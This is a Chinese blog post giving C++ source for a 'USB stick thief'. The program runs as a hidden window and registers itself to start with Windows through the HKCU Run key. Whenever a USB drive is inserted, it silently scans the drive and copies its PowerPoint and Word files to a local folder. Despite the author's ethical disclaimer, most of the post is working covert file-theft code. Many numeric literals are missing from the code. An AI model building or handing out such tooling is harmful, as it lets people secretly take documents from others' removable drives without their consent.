U盘小偷——C++实现U盘插入检测和文件扫描拷贝
前几天女朋友说老师上课的PPT不共享,没法复习,想着写个U盘小偷拷贝PPT来着,后来觉得这样的行为这是不对的,万一不小心复制了老师的专利啥的,或者一些不可描述的东西,就闹大了。
虽然没有采取实际行动,但是相关的功能还是实现,技术共享。
重点就是U盘插入监控,获得U盘盘符,开机自启动,文件扫描和复制。
1.对u盘插入行为监控,并获得盘符
当U盘插入的时候会产生一个消息WM_DEVICECHANG,只要我们获得这个消息,然后进行处理就行。
为了获得消息,我们需要一个窗口
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass; wndclass.style = ;
wndclass.lpfnWndProc = WndProc;
wndclass.cbClsExtra = ;
wndclass.cbWndExtra = ;
wndclass.hInstance = hInstance;
wndclass.hIcon = ;
wndclass.hCursor = ;
wndclass.hbrBackground = ;
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = szAppName; SetAutoRun(TRUE);
if (!RegisterClass(&wndclass))
{
MessageBox(NULL, TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return ;
}
hwnd = CreateWindow(szAppName, NULL,
WS_DISABLED,
, ,
, ,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, , ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
窗口回调函数:
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch (message)
{
case WM_CREATE: //处理一些要下面要用到的全局变量
U[] = ':'; SetTimer(hwnd, TIMER, , );//启动计时器 return ;
case WM_TIMER: //timer message SendMessage(hwnd, WM_DEVICECHANGE, , );//检测有没有插入设备消息 return ;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd, wParam, lParam);
return ;
case WM_DESTROY:
KillTimer(hwnd, TIMER);
PostQuitMessage();
return ;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
OnDeviceChange函数是对WM_DEVICECHANGE消息的处理,在这个函数里,就可以实现对u盘插入行为的监控,并处理。
LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch (wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符
//MessageBox(0, U, "Notice!", MB_OK);
string Utemp;
Utemp = U;
// Utemp += "\\";
Filesearch(Utemp, ); //搜索u盘
CopyPPT(FileList); //复制ppt
CopyDOC(FileList); //复制doc
//MessageBox(0, "Copy Success", "Notice!", MB_OK); }
break;
case DBT_DEVICEREMOVECOMPLETE: //设备删除
//MessageBox(0, "u盘退出", "Notice!", MB_OK);
break;
}
return LRESULT();
}
FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符,有了盘符,U盘就相当于一个普通的文件夹了。 2.文件遍历 查找 搜索 复制
void Filesearch(string Path, int Layer)
{
FileInfo FileInfomation;
struct _finddata_t filefind;
string Current = Path + "\\*.*"; // 修改此处改变搜索条件
int Done = , i, Handle;
string FullPath;
if ((Handle = _findfirst(Current.c_str(), &filefind)) != -)
{
while (!(Done = _findnext(Handle, &filefind)))
{
if (strcmp(filefind.name, "..") == )
continue;
for (i = ; i <Layer; i++)
printf("\t");
if ((_A_SUBDIR == filefind.attrib)) // 是目录
{
printf("[Dir]:\t%s\n", filefind.name);
Current = Path + "\\" + filefind.name;
Filesearch(Current, Layer + ); // 递归遍历子目录
}
else
{
printf("[File]:\t%s\n", filefind.name);
FullPath = Path + "\\" + filefind.name;
FileInfomation.Name = filefind.name;
FileInfomation.FullPath = FullPath;
FileList.push_back(FileInfomation);
FullPath.empty();
}
}
_findclose(Handle);
}
} void CopyPPT(vector<FileInfo> FileList)
{
mkdir("C:\\Destest");
for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
{
string TempPath;
//printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".ppt")) > )
{
TempPath = DesPath + "\\" + iterator->Name ;
BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
cout << GetLastError();
if (bOk == TRUE)
{
// MessageBox(0, "Copy Success", "Notice!", MB_OK); }
else
{
// MessageBox(0, "Copy Fail", "Notice!", MB_OK);
}
} }
} void CopyDOC(vector<FileInfo> FileList)
{
mkdir("C:\\Destest");
for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
{
string TempPath;
//printf("%s\r\n", iterator->); if ((int)(iterator->Name.find(".doc")) > )
{
TempPath = DesPath + "\\" + iterator->Name;
BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
cout << GetLastError();
if (bOk == TRUE)
{
// MessageBox(0, "Copy Success", "Notice!", MB_OK); }
else
{
// MessageBox(0, "Copy Fail", "Notice!", MB_OK);
}
}
}
}
3.开机自启动 注册表实现
void SetAutoRun(BOOL bAutoRun)
{
HKEY hKey;
char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系统的启动项
if (bAutoRun)
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, , KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项
{
TCHAR szModule[_MAX_PATH];
GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径
RegSetValueEx(hKey, "U盘检测", , REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值,"Client"是应用程序名字(不加后缀.exe)
RegCloseKey(hKey); //关闭注册表
}
else
{
// MessageBox("系统参数错误,不能随系统启动");
}
}
else
{
if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, , KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
RegDeleteValue(hKey, "U盘检测");
RegCloseKey(hKey);
}
}
}
Win10下可以实现功能,另外这不是控制台程序,为了实现对消息的监控,这得是窗口程序。

猥琐的小程序可能包含一些奇淫技巧,但是还是不能做非法不道德事。
U盘小偷——C++实现U盘插入检测和文件扫描拷贝的更多相关文章
- 读"U盘小偷"有感
作者: sudami 嘿嘿,今天终于有时间学习自己喜欢的东西了,在kanxue里看到一篇关于U盘小偷的文章:http://bbs.pediy.com/showthread.php?p=381656#p ...
- 锻造完美U盘小偷:活用消息机制
锻造完美U盘小偷:活用消息机制作者:灰狐来源:灰狐's Blog 注:本文已发表在<黑客防线>2008年第1期,转载请注明出处. 以前经常看到有人做出一些蛮有意思的小工具,其中最多的似乎就 ...
- U盘启动盘的制作与U盘重装系统
网上有各种各样的装系统的方法,也有各种不同的操作系统版本. 本文介绍如何有UtraISO将U盘制作成系统启动盘,本文用于制作的系统是纯净的32位win7旗舰版. 可到http://itellyou.c ...
- u盘装系统,u盘安装win7系统教程
http://www.upanboot.com/tool/anzhuang_win7.html 可以用本教程给笔记本.台式机.上网本和组装电脑通过U盘安装Win7系统. 步骤一.首先要准备一个至少8G ...
- 虚拟机下怎么连接U盘,如何使用U盘?一策书(湘岳阳万江波)的随笔
准备在虚拟机下,制作U盘启动盘.安装了U盘制作软件,插上U盘却无法识别到.打开虚拟机进行设置,添加USB设备,提示:已达到最大值.怎么回事呢? 原来还需要在宿主机上进行设置. 在宿主机上,运行:ser ...
- U盘启动盘的制作--用U盘硬装Windows系统、或是重装Windows系统
借助IT天空的优启通U盘启动盘的制作--用U盘装Windows系统.或是重装Windows系统之U盘启动盘的制作 1.==================================== 2.== ...
- Linux下U盘的挂载和文件的拷贝
把文件通过U盘拷贝到linux系统下插好U盘后,查看磁盘情况fdisk -l正常情况下有 Disk /dev/sda:2045 MB,2045247488 bytes47 heads,46 secto ...
- U盘开发之安全U盘
普通型安全U盘,虚拟KEY和U盘两个设备,由主机软件分别对KEY和U盘进行操作,U盘与上位机采用usb mass storage接口,KEY采用HID接口,两者均无需驱动.也有虚拟成光盘和U盘两个设备 ...
- 48.Linux-普通U盘以及多分区U盘自动挂载
在上章学习33.Linux-实现U盘自动挂载(详解)后,只是讲解了普通U盘挂载,并没有涉及到多分区U盘,接下来本章来继续学习 1.多分区U盘和普通U盘区别 1)U盘插上只会创建一个/dev/sda文件 ...
随机推荐
- 又见GCD (HDU 2504)
这个题真的很水,但我竟然连错,在此警醒自己!!! 写代码改了东边,忘了西边,“认真”这两个字又被我吃了,打脸啪啪啪啪. #include<iostream> using namespace ...
- 33、生鲜电商平台-定时器,定时任务quartz的设计与架构
说明:任何业务有时候需要系统在某个定点的时刻执行某些任务,比如:凌晨2点统计昨天的报表,早上6点抽取用户下单的佣金. 对于Java开源生鲜电商平台而言,有定时推送客户备货,定时计算卖家今日的收益,定时 ...
- 【创建maven-web项目-eclipse-jee-mars-2-win32-x86_64-jdk1.8】
需要注意的是:创建的mavenweb项目是没有java源文件夹的需要手动添加: 创建项目完成以后,项目会报错,如下: 因为项目中没有添加servlet依赖解决jsp报错问题:添加依赖: <dep ...
- Java 课上的语录
Java 课上的语录 在用系统类库的类的时候啊,你是不是充分的理解这个系统类库的类.比如这个 ArrayList 你是不是知道它里面有这样那样这样那样的函数,能够帮你做各种各样的事情.很重要,你不知道 ...
- Ubuntu常用命令集合
文件操作 查看当前目录: pwd 参考文章:https://blog.csdn.net/qq_33421080/article/details/76551554 应用编辑类 安装: sudo apt- ...
- OTRS 二次开发笔记
公司使用otrs系统处理业务工单,各种事件流.因为是开源免费系统,因此需要在上面做一些功能补充或定制的二次开发. otrs是什么? OTRS 是一个功能强大的工单系统.完美适用于服务台(Help De ...
- 洛谷P5170 【模板】类欧几里得算法(数论)
传送门 此题剧毒,公式恐惧症患者请直接转去代码→_→ 前置芝士 基本数论芝士 题解 本题就是要我们求三个函数的值 \[f(a,b,c,n)=\sum_{i=0}^n \left\lfloor\frac ...
- Clean Code之JavaScript代码示例
译者按: 简洁的代码可以避免写出过多的BUG. 原文: JavaScript Clean Code - Best Practices 译者: Fundebug 本文采用意译,版权归原作者所有 引文 作 ...
- android手机设备查看/data/data
打开cmd 进入安卓 SDK的'Platform tools' cd F:\software\adt-bundle-windows-x86_64-20130522\sdk\platform-too ...
- windows系统IIS7环境下如何部署MVC项目
首先打开IIS:第一步:添加MVC程序映射 打开其中的:处理程序映射,如下图: 点击界面右边操作中的:添加脚本映射,弹出下图: 请求路径:* 可执行文件:c:/Windows/Mi ...